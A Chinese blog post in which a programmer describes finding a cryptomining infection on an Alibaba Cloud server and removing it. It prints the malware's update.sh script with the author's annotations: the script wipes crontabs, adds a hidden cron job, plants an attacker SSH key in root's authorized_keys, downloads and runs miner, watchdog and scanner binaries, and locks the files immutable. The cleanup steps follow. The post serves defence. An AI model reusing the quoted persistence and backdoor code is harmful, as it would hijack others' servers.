阿里云突然提醒我的服务器有恶意扫描,挖矿程序,一直没怎么管,反正也没什么重要的东西。


刚好今天有空,就来了解了一下如何解决。
使用top命令查看进程是这样的
看阿里云的提示,恶意进程分别有/etc/sysupdate,/etc/sysupguard,/etc/networkservice。
cpu也占满了。
直接使用kill -9 杀掉这些进程,没过一会就重启了。。。。
网上各种百度,让执行crontab -e查定时任务,用crontab -r删除定时任务。
没用,执行了根本就没有任何用处,而且很多文章写的乱七八糟,看的头疼,我也不是运维,就一小程序员,linux也不是很熟,只会基本命令。
后来通过一篇文章发现了update.sh这个东西,打开这个文件发现了一点东西。
这个文件想看就看,不想看就注意下我写了注释的地方,知道下是干嘛的就好。
rtdir="/etc/sysupdates"
// 这个命令把我们的定时任务都清了,我们自己再执行只会提示no crontab for root
crontab -r
rm -rf /var/spool/cron/ *
if [ -f "$rtdir" ]
then
echo "i am root"
echo "goto 1" >> /etc/sysupdate
chattr -i /etc/sysupdate*
chattr -i /etc/config.json*
chattr -i /etc/update.sh*
chattr -i /root/.ssh/authorized_keys*
chattr -i /etc/networkservice
// 这个地方才是导致我执行crontab没反应的地方,把任何输出都指向了/dev/null
if [ ! -f "/usr/bin/crontab" ]
then
echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
else
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
fi
// 这个算是挖矿者给自己创建的公钥,留的后门
chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAafmwzDMv1RKxPdJI/oeXUSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0UB9u1KxY5IOzqG4QTgZ6LP2UUWLG7AZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyHtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys
cfg="/etc/config.json"
file="/etc/sysupdate"
// 下面这些都是下载对应的文件
if [-f "/etc/config.json" ]
then
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
if [ "$filesize_config" -ne "$config_size" ]
then
pkill -f sysupdate
rm /etc/config.json
downloads $config_url /etc/config.json $config_url_backup
else
echo "no need download"
fi
else
downloads $config_url /etc/config.json $config_url_backup
fi
if [ -f "/etc/sysupdate" ]
then
filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
if [ "$filesize1" -ne "$miner_size" ]
then
pkill -f sysupdate
rm /etc/sysupdate
downloads $miner_url /etc/sysupdate $miner_url_backup
else
echo "not need download"
fi
else
downloads $miner_url /etc/sysupdate $miner_url_backup
fi
if [ -f "/etc/sysguard" ]
then
filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
if [ "$filesize1" -ne "$watchdog_size" ]
then
pkill -f sysguard
rm /etc/sysguard
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
else
echo "not need download"
fi
else
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
fi
downloads $sh_url /etc/update.sh $sh_url_backup
if [ -f "/etc/networkservice" ]
then
filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
if [ "$filesize2" -ne "$scan_size" ]
then
pkill -f networkservice
rm /etc/networkservice
downloads $scan_url /etc/networkservice $scan_url_backup
else
echo "not need download"
fi
else
downloads $scan_url /etc/networkservice $scan_url_backup
fi
// 下面这些都是如果对应进程没启动,就会自动启动
chmod 777 /etc/sysupdate
ps -fe|grep sysupdate |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not root runing"
sleep 5s
./sysupdate &
else
echo "root runing....."
fi
chmod 777 /etc/networkservice
ps -fe|grep networkservice |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not roots runing"
sleep 5s
./networkservice &
else
echo "roots runing....."
fi
chmod 777 /etc/sysguard
ps -fe|grep sysguard |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /etc
chmod 777 sysguard
sleep 5s
./sysguard &
else
echo "roots runing....."
fi
// 下面这些文件都是你要删除的。以及上面的sysguard,本.sh文件中赋予777权限的都是你要删除的
chmod 777 /etc/sysupdate
chattr +i /etc/sysupdate
chmod 777 /etc/networkservice
chattr +i /etc/networkservice
chmod 777 /etc/config.json
chattr +i /etc/config.json
chmod 777 /etc/update.sh
chattr +i /etc/update.sh
chmod 777 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
找到了问题所在,我一想那把update.sh删了就行了呗
rm -f update.sh
# rm: cannot remove ‘update.sh’: Operation not permitted(好吧,不行)
chmod -x update.sh
# chmod: changing permissions of ‘update.sh’: Operation not permitted(还是不行)
试了两次都无法删除,就查看文件属性
lsattr update.sh
# ----i--------e-- update.sh(显示了两个属性i,e)
chattr -i update.sh
# 执行之后没有反应,说明i的权限被去除了。也许你们的文件不一定和我这个属性一样,但是是哪个属性,你就去除哪个。
chattr -e update.sh
# chattr: Operation not supported while setting flags on update.sh(说明e这个属性是不能修改的)
rm -f update.sh
# 执行之后没有反应,删除成功。
# 同理删除其他几个文件networkservice sysupdate config.json sysguard,不知道删除哪些文件的可以看上面的分析update.sh,里面有写
rm -f networkservice sysupdate config.json sysguard
# rm: cannot remove ‘networkservice’: Operation not permitted
# rm: cannot remove ‘sysupdate’: Operation not permitted
# rm: cannot remove ‘config.json’: Operation not permitted
chattr -i networkservice sysupdate config.json
rm -f networkservice sysupdate config.json
# 删除公钥
cd /root/.ssh
lsattr authorized_keys
# ----i--------e-- authorized_keys
chattr -i authorized_keys
rm -f authorized_keys
# 最后杀掉对应的进程,我这里只有两个,你们那也许不止,基本就是上面的那几个sh文件触发的进程。
kill -9 7870
kill -9 15117
至此没有挖矿程序就没有再启动了。
此次解决从收到短信,前前后后总共花了100分钟左右。。。。大部分时间花在百度上了,而且还看的云里雾里!!!
版权声明:本文为why8673731原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。